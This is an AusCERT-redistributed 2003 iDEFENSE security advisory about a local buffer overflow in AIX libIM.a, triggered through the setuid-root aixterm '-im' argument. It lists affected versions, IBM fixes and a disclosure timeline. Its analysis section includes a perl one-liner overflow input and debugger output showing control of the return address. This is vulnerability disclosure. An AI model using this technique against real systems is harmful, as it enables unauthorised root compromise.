-----BEGIN PGP SIGNED MESSAGE-----

===========================================================================
             AUSCERT External Security Bulletin Redistribution

           ESB-2003.0097 -- iDEFENSE Security Advisory 02.12.03
                      Buffer Overflow in AIX libIM.a
                             18 February 2003

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:                National Language Support (NLS)
                        libIM
Vendor:                 iDEFENSE
Operating System:       AIX 4.3
                        AIX 5.1
                        AIX 5.2
Platform:               pSeries
                        RS/6000
                        Cluster 1600
Impact:                 Root Compromise
Access Required:        Existing Account

Comment: CVE Id: CAN-2002-0087

- --------------------------BEGIN INCLUDED TEXT--------------------

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

iDEFENSE Security Advisory 02.12.03:
http://www.idefense.com/advisory/02.12.03.txt
Buffer Overflow in AIX libIM.a
February 12, 2003

I. BACKGROUND

Advanced Interactive eXecutive (AIX) is IBM Corp.'s Unix operating system
implementation, native to pSeries and RS/6000 servers. More information is
available at http://www-1.ibm.com/servers/aix/ .

AIX provides support for National Language Support (NLS). From the AIX
manual available at
http://publib16.boulder.ibm.com/doc_link/en_US/a_doc_lib/aixprggd/nlsgdrf/n
at_lang_support.htm, "NLS provides commands and Standard C Library
subroutines for a single worldwide system base. An internationalized
system has no built-in assumptions or dependencies on language-specific or
cultural-specific conventions such as:

Code sets
Character classifications
Character comparison rules
Character collation order
Numeric and monetary formatting
Date and time formatting
Message-text language

All information pertaining to cultural conventions and language is
obtained at process run time."

libIM is a system library used by NLS on AIX.


II. DESCRIPTION

Locally exploiting a buffer overflow within libIM allows an attacker to
obtain the privileges of an application calling the library. The
"/usr/lpp/X11/bin/aixterm" binary calls the libIM library and is then
installed setuid root by default on AIX.

The "-im" command line argument used by aixterm causes the binary to crash
when filled with a string about 50 bytes in length. This allows an
attacker to gain control of the return address of the executing function,
thereby allowing code execution with root privileges.


III. ANALYSIS

Exploitation can provide local attackers with root access to an affected
system.

The following shows how the "-im" command line argument can be filled and
cause the crash of aixterm, giving the user control of the return address.
 We will write the value of 0x11223344 into the appropriate register:

$ ls -la /usr/lpp/X11/bin/aixterm
- - -rwsr-xr-x   1 root     system    376384 Mar 18 2001 
/usr/lpp/X11/bin/aixterm*
$ cp -p /usr/lpp/X11/bin/aixterm test
$ ./test -im `perl -e'print"A"x47;print pack("l",0x11223344)'`
1363-009  aixterm: Cannot open font -dt-interface
user-medium-r-normal-l*-*-*-*-*-*-*-*-*.
        Check path name and permissions.
1363-009  aixterm: Cannot open font
- - -*-roman-medium-r-normal--8-50-100-100-c-*-ISO8859-1.
        Check path name and permissions.
Illegal instruction (core dumped)
$ dbx ./test core
Type 'help' for help.
reading symbolic information ...warning: no source compiled with -g

[using memory image in core]
warning: Unable to access address 0x41414149 from core

Illegal instruction (reserved addressing fault) in . at 0x11223344 ($t1)
warning: Unable to access address 0x11223344 from core 0x11223344 (???)
warning: Unable to access address 
0x11223344 from core ffffffff   warning: Unable to access address
0x11223344 from core fnmadd.   
fr31,fr31,fr31,fr31 (dbx)


IV. DETECTION

Applications using libIM on AIX 4.3, 5.1 or 5.2 are affected.


V. VENDOR FIX/RESPONSE

A. E-fix
Temporary fixes for AIX 4.3.3, 5.1.0, and 5.2.0 systems are available.

The temporary fixes can be downloaded via ftp from:

     ftp://aix.software.ibm.com/aix/efixes/security/libIM_efix.tar.Z

The efix compressed tarball contains three fixes: one each for AIX 4.3.3,
AIX 5.1.0 and AIX 5.2.0. It also includes an advisory and a README file
with installation instructions.

B. Official Fix
IBM will provide the following fixes:

      APAR number for AIX 4.3.3: IY40307
      APAR number for AIX 5.1.0: IY40317
      APAR number for AIX 5.2.0: IY40320

NOTE: Fixes will not be provided for versions prior to 4.3 as these are no
longer supported by IBM. Affected customers are urged to upgrade to 4.3.3
or 5.1.0 at the latest maintenance level.


VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
assigned the identification number CAN-2002-0087 to this issue.


VII. DISCLOSURE TIMELINE

10/31/2002	Issue disclosed to iDEFENSE
01/28/2003	IBM notifed (security-alert@austin.ibm.com)
01/29/2003	Response received from Shiva Persaud (shivapd@us.ibm.com)
02/11/2003	iDEFENSE clients notified
02/12/2003	Coordinated Public Disclosure


VIII. CREDIT

Euan Briggs (euan_briggs@btinternet.com) discovered this vulnerability.


Get paid for security research
http://www.idefense.com/contributor.html

Subscribe to iDEFENSE Advisories:
send email to listserv@idefense.com, subject line: "subscribe"


About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world — from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide 
decision-makers, frontline security professionals and network 
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .

- -----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBPkp3VPrkky7kqW5PEQL7CACg1TTEskXnfyyd1zuCUS5vn44UJvUAn1Wb
xTI+LhN/KNFB6pDVVwlWung4
=WDPV
- -----END PGP SIGNATURE-----

- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content.  The decision to use any or all of this information is
the responsibility of each user or organisation, and should be done so in
accordance with site policies and procedures.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:

        http://www.auscert.org.au/render.html?cid=1980

If you believe that your system has been compromised, contact AusCERT or
your representative in FIRST (Forum of Incident Response and Security
Teams).

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business 
                hours which are GMT+10:00 (AEST).  On call after hours 
                for member emergencies only.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: http://www.auscert.org.au/render.html?it=1967

iQCVAwUBPlIUCih9+71yA2DNAQEgFAP+LsxXLgHkIKw/MioLsuBxGoTxSG0fr2An
ZZvmkVqYnYpnP9145ay6xR+Vq9gGoTKed6a+KG4pJx6WYTfNwNNNCC7a7ZuidJaI
049+wjWn/S3TvRDnslHf/m2QJ+GVwfhydlpCZCkF9oE7cxw/N/sYiGy8tCnbCraS
7DJOo4ZjxsE=
=0eZF
-----END PGP SIGNATURE-----